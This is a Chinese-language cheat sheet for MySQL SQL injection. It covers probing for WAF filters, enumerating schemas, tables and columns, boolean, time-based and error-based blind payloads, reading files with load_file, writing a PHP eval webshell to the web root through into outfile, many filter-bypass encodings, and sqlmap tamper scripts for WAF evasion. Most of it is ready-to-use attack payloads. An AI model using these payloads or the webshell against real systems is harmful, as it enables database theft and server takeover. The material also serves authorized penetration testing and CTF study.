本文总结了MySql注入的一些基础知识以及绕过过滤的一些方法,并且将在后续继续完善该文章,后面会添加一些具体实例的文章,希望能够帮到大家。
0x00 基础知识:
手工注入一般思路:
1.爬取所有有参数输入的URL,表单,搜索框
2.对于多参数的需要先确定哪个参数好注入
3.如有WAF,先测出哪些没有被ban,可以将关键字导入burp跑,根据返回长度及内容进行判断
4.结合各种注入技巧,选择比较容易获取数据的方式进行注入
5.除了GET、POST方式,还有COOKIE可以进行注入,cookie的过滤偶尔会被漏掉
测WAF的关键字列表
extractvalue
updatexml
order
by
union
select
from
where
limit
sleep
benchmark
left
mid
substr
substring
concat
concat_ws
group_concat
or
and
%20
||
&&
(
)
-
+
%23
;
,
=
<
>
/
*
%
常用查询语句:
查库:
select group_concat(schema_name) from information_schema.schemata
select schema_name from information_schema.schemata limit 0,1
select database()
查表:
select group_concat(table_name) from information_schema.tables where table_schema=database()
select group_concat(table_name) from information_schema.tables where table_schema='数据库'
select table_name from information_schema.tables where table_schema='数据库' limit 0,1
查字段:
select group_concat(column_name) from information_schema.columns where table_name='表名'
select column_name from information_schema.columns where table_name='表名' limit 0,1
查内容:
select group_concat(字段1,字段2) from 表名
select 字段 from 表名 limit 0,1
连接符号:
concat(str1,str2,...)——没有分隔符地连接字符串
concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
字符截取函数:
left(str,n)获取字符串str左部指定n个字符 如:left(database(),2)>'se'
mid(str,m,n)获取字符串str第m位起指定n个字符 如:ord(mid(database(),2,1))>101
substr(str,m,n)获取字符串str第m位起指定n个字符 如:ascii(substr(database(),2,1))>101
substring(str,m,n)获取字符串str第m位起指定n个字符 如:ascii(substring(database(),2,1))>101
时间函数:
sleep() 如:If(ascii(substr(database(),1,1))=115,1,sleep(5))
benchmark() 如:IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)
PS:if(str,m,n)函数中,str为真的话执行前面m语句,为假执行后面n语句
读文件:
select load_file('/var/www/html/flag.php')
写文件:
select '<?php eval($_POST['nac']); ?>' into outfile '/var/www/nac.php'
常用函数:
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user() 连接数据库的用户名
version() MySQL版本
database() 数据库名
load_file() MYSQ L 读取本地文件的函数
@@datadir 数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统版本
常用测试语句(GET、POST):
数字型;
and 1=1 正常 / and 1=2 不正常 -> 有问题
and 1<2 正常 / and 1>2 不正常 -> 有问题
-1 不正常 / -0 正常 -> 有问题
^1 不正常 / ^0 正常 -> 有问题
*2 不正常 -> 有问题
字符型:
\ 不正常 / \\ 正常 -> 有问题
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
'='
'^'1'='1
%df' or 1=1--+
PS: --可以用#替换,GET方式url提交过程中url中的#需使用编码后的#,即为%23
常用测试语句(搜索框):
1.搜索keywords',如果出错的话,有90%的可能性存在漏洞;
2.搜索keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
3.搜索keywords%'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)
4.搜索keywords%'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)
5.根据两次的返回情况来判断是不是搜索型文本框注入了
0x01 注入分类
基本分类:
联合查询的类型
基于错误的SQL注入
基于布尔SQL盲注
基于时间的SQL盲注
基于报错的SQL盲注
堆查询注射
二次注入
cookie注入
referer注入
宽字节注入
order by 注入
......(分类见仁见智)
利用exists进行暴力猜解
将表名字典加载到burp跑表(Payload1),当想要猜测的表名不是当前数据库的,如猜测mysql库的表名(Payload2)
Payload1:and exists(select * from 表名)
Payload2:and exists(select * from mysql.表名)
将字段名字典加载到burp跑字段,这里假设得到的表名为users
Payload:and exists(select * from users)
报错注入:
extractvalue(1,concat(0x7e,(select @@version),0x7e))
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a
select 1,2,count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
exp(~(select * from(select user())a))
multipoint((select * from(select * from(select user())a)b))
宽字节注入:
前提:gbk等多字节编码,addslashes等转义函数
绕过:%81-%fe中的任何字符都可以吃掉反斜杠,常用%df,%bf
参考:http://www.91ri.org/8611.html
DNS注入:
没有显示返回信息的延时盲注或者布尔盲注可以考虑一下。
推荐一个免费的平台:http://ceye.io(也可用于无回显的命令执行)
参考:https://phpinfo.me/2016/05/10/1210.html
limit注入:
参考:https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
order by注入:
参考:https://www.secpulse.com/archives/57197.html
0x02 绕过技巧:
注释符:
#,
-- X(X为任意字符)
/*(MySQL-5.1)
;%00
`
'or 1=1;%00
'or 1=1 union select 1,2`'
'or 1=1 #
'/*!50000or*/ 1=1 -- - //版本号为5.1.38时只要小于50138
'/*!or*/ 1=1 -- -
运算符:
1+1 --> 1--1
ascii(substr(database(),0,1))>64 --> greatest(ascii(substr(database(),0,1)),64)=64
= --> <>、like、rlike、regexp
<> --> between and、least、=
not --> !
xor --> |
or --> ||
and --> &&
空格被过滤:
%09、%0a、%0b、%0c、%0d、%a0、%00、%20、+、/**/、/*!*/、/*!5000*/、()、{}
绕过引号被过滤
hex编码: SELECT password FROM Users WHERE username = 0x61646D696E
char编码: SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
html实体字符编码: SELECT FROM Users WHERE username = 'admin'
%2527: 绕过magic_quotes_gpc过滤,结合后面的27也就是%27也就是'
绕过逗号被过滤
mid,substr:mid(string,1,1)--> mid(string from 1 for 1) --> substr(string from 1)
limit 0,1 --> limit 1 offset 0
union select 1,2 --> union select * from (select 1)a join (select 2)b
select ascii(mid(user(),1,1))=80 --> select user() like 'r%'
单次过滤:
双写关键字绕过,如seselectlect
大小写:
如UniOn、SelEct
MySql字符编码利用技巧:
php mysqli客户端设置的字符集为utf8,Mysql的字符集默认是latin1。
传入不完整的字节会被忽略掉,如传入\xC2~\xEF中一个字符
参考:https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html
其他绕过:
md5($array)=null 结果为true
null = null 结果为真(双等号前面作等于的结果为null,再跟null作等于的结果为真)
0x03 sqlmap注入工具的使用
sqlmap注入神器的tamper用法:
apostrophemask.py 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py 在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
参考:https://paper.seebug.org/218/